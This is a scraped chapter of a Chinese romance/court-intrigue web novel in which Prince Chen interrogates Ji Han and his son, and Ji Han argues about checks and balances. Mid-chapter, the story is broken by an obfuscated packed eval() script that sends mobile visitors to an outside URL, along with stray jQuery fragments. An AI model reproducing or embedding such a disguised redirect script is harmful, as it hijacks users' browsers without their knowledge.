默认冷灰
24号文字
方正启体

97. 制衡

作者:闲闲呀本书字数:K更新时间:
    偌大的书房内,安静得能听见针落地的声音。


    不过这里没有针,只有兀自燃烧的烛台,一言不发的辰王褚平,和两只“鹌鹑”。


    苏念领着下人来摆餐食时,其中一只“鹌鹑”发出了求救的信号。脚步迟疑,却在瞥见丈夫疲惫的面庞后,毅然决绝地转身离去。


    褚停云错愕地看着消失于门外的背影,扭头对上季寒平静的眼眸。并排而坐,她不仅平静,还对他摇摇头,指了指他爹。


    实则平静不过表象,季寒的内心也是七上八下。人家的儿子都跟着她跳崖了,当爹做娘的迟迟不发作应是等着她给个说法吧?


    如是猜测着,季寒叹了口气,揉了揉眉心。


    “季娘子。”


    蓦地顿住,她向高坐的辰王望去,方准备起身回话。


    “本王有三件事想请教季娘子。”


    季寒忙起身回道:“民女不敢当,王爷请说。”


    辰王颔首,“坐下回话便是。”


    “于理不合,民女还是站着回吧,”她不是客气,是坐也如坐针毡,倒不如站着坦然面对,“敢问王爷,是哪三件事?”


    倒是有几分胆气。辰王不由勾起唇角,扫了眼端坐的儿子,开口道:“第一件,季娘子可知如今朝中局势?”


    季寒垂眸敛神,答道:“不知。”


    目光冷冽,“第二件事,”再度开口,辰王的语气不善,“你可知有多少双眼睛,明里暗里盯着我辰王府?”


    “爹?!”


    “你住嘴,让她回答。”


    勃然怒斥,辰王死死盯着面前的女子。


    她抬眼望去,依然回答:“不知。”


    “第三件,”撑在膝头的手掌倏地握紧,他一字一句问道,“若是你们今天死在烟霞山下,我辰王府会是如何?”


    “够了。”拍案而起,褚停云挡在了她身前,“此事与她无关,皆是我一人决定。何况我们现在好端端的,爹又何必咄咄逼人?”


    “我咄咄逼人?”猛地站起,辰王指着他的鼻子,“褚停云,你一人已经搅得整个王府不得安宁,现在再来个她。难道非要等到白发人送黑发人,你们才能消停吗?啊?!”


    书房外,即便有所准备,苏念在听到丈夫将此话大声袒/露在他们时,仍没能稳住身形靠在了冰冷的墙上。


    “王妃……”


    女使扶住了她,却不知该从何安慰。


    苏念摇头,咬住了唇但止不住地泪如雨下。只有天晓得,当俩人坠崖的消息传回王府,她的心都碎了,万念俱灰仿佛就在刹那之间。


    还有褚平,看似沉着冷静将腰牌交给陌尘,迅速指派人手。待陌尘领着人出府一刻,转身狠狠抹了把脸。


    外人以为辰王最大的痛处是有个被罢黜五年的儿子,才会袖手旁观那么多年。只有她这个做妻子的最清楚为了他们的儿子,早想远离是非的人,做了多少迂回周旋。


    “我会离开。”


    纷乱的思绪中,女子的声音轻柔却决绝。


    “只要常郡王同意。”


    “我不同意。”


    面对面而立,褚平看着不知不觉中比自己还高大的儿子,这一刻才感受到了何为失而复得。


    然而,人是回来了,心早丢外面了。


    “父亲,季寒从未要求入我郡王府,她愿意留下也不是为了儿女私情,我们之间从相识至今一直都是清清白白。”


    褚平深深地看了他一眼,“我从未质疑过崔上章识人的眼光,你也不用疑心我别有目的。”不然今日又怎会耐着性子同他们说这些?


    “我就是想问问你身后的人,坠落山崖的一刻可曾想过有个傻子,会跟着一块跳下去?”


    梗在心口的刺终归是要拔出来的,不是不在乎,恰是太在乎,他是辰王也是父亲,“而现在,将我的问题抛之于你,这是征求意见吗?分明是要挟、吃定了你不会答应,你还傻兮兮的踏入圈套?褚停云,我不想我还没死,就给你们两个送葬,很为难吗?”


    “我知道,她也清楚自己在说什么。可是,我们从不揭穿对方,因为不是要挟而是选择。父亲觉得季寒与我,会傻到将自己的命交给别人吗?”


    记忆中冲动的少年如今冷静自持,只是在提及那个女子时才露出几分年少模样。


    “何况,有私心的那个人是我。只不过,我的私心于她而言,不及人命关天。”


    季寒愣愣地看着他的背影,猝不及防,忘了言语。


    “从沅陵到邵县、虔州、颍州、汴京,这一路除了费心劳神筋疲力尽,她没有得到过任何好处。今日遇险也是因为我。”娓娓道来,褚停云苦笑,“若她真存有私心,现下,父亲该烦恼的也不是离开还是留下,而是别的了。”


    简直只差将自己的私心全剖露出去。季寒扯了下他的衣裳,低声道:“别胡说。”


    “没有胡说。”亦没有回头,褚停云望向自己父亲的目光炽热,还有骄傲,“是,她不知朝中局势,不知辰王府如今的举步维艰,更不知道我会跳下去。可是,她知道医者仁心,知道冤案昭雪,知道律法若要执行必须严明,更知道为了今天的大夏,谢沉舟不能白死。”


    他,说的那个人,是她吗?原来,在他心里,她是这个样子的。


    “抱歉,即便父亲母亲反对,我也要留下她。”背脊挺直,不跪不拜,语气坚决,“即使她自己要走,我也不会答应。”


    “褚停云,”手掌拍下茶案,褚平恼羞成怒道,“人家根本看不上你,你枉做什么痴心之人?!”


    蓦然抬首,季寒沉下了脸。而褚停云却无所谓地耸肩,回道:“那又如何?谁说这世上只有儿女情长刻骨铭心,若是能风雨同舟祸福与共,儿女之情又怎比得上莫逆之交?”


    褚停云转身,笑着对她说:“一开始我以为你参加科举只是为了做官。现在,我希望你能高中,能当官,步步高升。若不幸有一天我……当不了这郡王,没法再帮你……”


    “那就换我护你。”


    在褚停云愣神的刹那,季寒越过他,迎面走进居高临下的目光。


    “辰王殿下说了三件事,其实真正目的只是为最后一件,也就是为今日这一桩对吗?”


    褚平不语,却有些意外她的态度转变。


    “不说话,就是承认了。”


    放肆二字憋在喉咙,褚平忿忿地瞪了儿子一眼,回到原位坐下。好整以暇,他倒要看看她要如何护住那个傻小子。


    季寒亦不急不慌,拢了衣袖双手交叠,再抬头时神色淡然。


    她说:“敢问辰王殿下,为何至今还留在汴京城,为何迟迟不去就藩?”


    门外,苏念捂住了女使的嘴,顺便咽下“大逆不道”四个字。


    高坐上,褚平悬在半空的手,无法落下。


    唯独褚停云,只是抬了抬眉,继而无声弯了唇角。


    “我想,你们夫妇是放不下唯一的儿子,此属人之常情。但更担心的若是就藩,便将褚停云置于众目睽睽之下,成为有心人牵制你们一举一动的手段,亦或者说,是软肋。”


    垂眸沉吟,季寒又道:“辰王殿下可否想过,软肋也可成为铠甲?制衡之术也不是只有上位者才懂,寻常百姓也会。”


    褚平不自觉放下的手掌下意识地攥紧,嗤笑道:“你说的是,一个巴掌一颗枣,还是将家财给了老大,田地给幼子,然后对女儿说金戒指留给她的,那种制衡之术?”


    他并不是对百姓的生活一无所知。只是,从未真切感受过。


    季寒扯了扯嘴角,“殿下其实想说,这些不是制衡,而是源自父母的偏心眼吧?”


    剑眉上挑,褚平冷笑,“难道不是吗?”


    “那殿下还是孤陋寡闻了,”她微微扬起下巴,径直道,“这两者都是制衡之术。不同的是,前者给予的是同一个人,若未掌握好度,当被给予之人醒悟过来后多半以悲剧收场。而后者,若父母所留的家财是十两银子、一亩地,请问金戒指何来?不吃不喝也攒不出一颗金子。”


    “你……强词夺理。”


    “好,那我们换个说法,”随性而发,她像极了乡村田埂上的说书人,思忖了会道,“就拿我与褚停云做比方。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571328|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    转身对上那双一瞬不眨的黑眸,季寒问:“若今日遇险的是你娘,你可会跳下去?”


    褚停云一凛,虽不明白她意思,却毫不犹豫道:“会。”


    “若是你爹呢?”


    他愣了愣,“我爹习武……”话出口,方才恍然,“你……算了,你说吧。”


    季寒知他不笨,但没料到反应还挺快。掩去眼底笑意,唤了声:“陌尘。”


    守在院中的陌尘望向站了许久的辰王妃,得到首肯后,信步而至。


    “季娘子有何吩咐?”


    “没事,我只想问个问题。”


    “季娘子请说。”


    季寒顿了顿,未开口先行了礼,同时道:“若有冒犯之处,还望见谅。”因为,接下来她的话也许不是别人想听的。


    “无妨。”陌尘还是一贯的淡然。


    “我想知道,若今日在场的是你,可会救我?”


    “会。”


    毫无疑问的回答。季寒颔首,又问:“若常郡王也正巧一同遇险,你救谁?”


    陌尘下意识地抬眼,被季寒挡住。她说:“别看他,问你自己。”


    他深深吸了口气,拱手道:“救郎君,抱歉……”


    “不用说抱歉,”得到了意料中的答案,季寒很高兴,“你也没有做错。同样,若是你的主子命悬一线,却命令你救我,你可会救?”


    陌尘张了张嘴,选择了沉默。


    他不答,也是一种答案。


    转过身,季寒望向褚平,“子救母是孝道,侍卫救主子是忠诚。可为何在救殿下一问上,您的儿子会迟疑?而我与陌尘并无关系,他起先没有犹豫,后来却选择了沉默?”


    “我可以先回答第二个问题,因为侍卫听从的是主子的命令,在他的眼里主子的命令和性命高于一切。所以当主子的命令是以自身为代价时,作为侍卫,他难以选择。不过,”她顿住,看向陌尘,“其实不用为难,也不用逼自己选择,只需救离你最近的那个。因为你的主子,绝对没傻到让你做做不到的事。”


    高大的身躯猛地一怔,陌尘紧张地望去,一张哭笑不得的脸映入眼帘。他的主子一边点头,一边道:“料想季娘子也不会傻到等人来救。”


    正如他所说,他们不会将自己的性命交予他人之手,无关信任。


    “那是自然,靠人不如靠己,”接着他的话,季寒眨了眨眼,“所以,第一个问题,还是你自己回的好。”


    她怕辰王殿下真要动怒了,至少还有他挡在前。


    褚停云瞪了她一眼,方要起身——


    “也是因为孝道。”开口的却是褚平,探究的目光定定落在季寒身上,“你是想告诉我,最忠诚的侍卫在命令面前也有两难,即便是子女与父母,孝道也会变成一把双刃剑。”


    季寒扬眉,“辰王殿下,难道这不是制衡之术吗?”


    褚平看着她,一时竟无从反驳。再瞧褚停云,嘴角就没压住过。


    一唱一和,还说二人之间没有关系?


    “主子与侍卫、父母与子女、官家与朝臣、天下和百姓,敢问辰王殿下,孰轻孰重?谁又不能失去谁?”


    而季寒,对于他的沉默似乎并不在意,“法者,国之权衡也(注①)。若要说不同,唯有本心。”


    “如使人之所欲莫甚于生,则凡可以得生者何不用也?使人之所恶莫甚于死者,则凡可以辟患者何不为也?(注②)”


    喃喃而道,褚停云望向她,“鱼,我所欲也,熊掌,亦我所欲也。”


    季寒笑道:“两者不可兼得。就藩,亦如是。而出路,就是破除制衡……”


    “以彼之道,还施彼身。”


    并肩而立的俩人一同望向高坐的男人。


    季寒沉吟着,上前一步,“辰王殿下可想过谋反?”


    陷入沉思的男人,匪夷所思地瞪大了眼睛。


    褚停云一惊,忙不迭捂住她的嘴,骂道:“不看这哪,什么都说?”


    她呜呜两声,扒开碍事的爪子,反驳道:“他是你爹。”


    “让她说。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)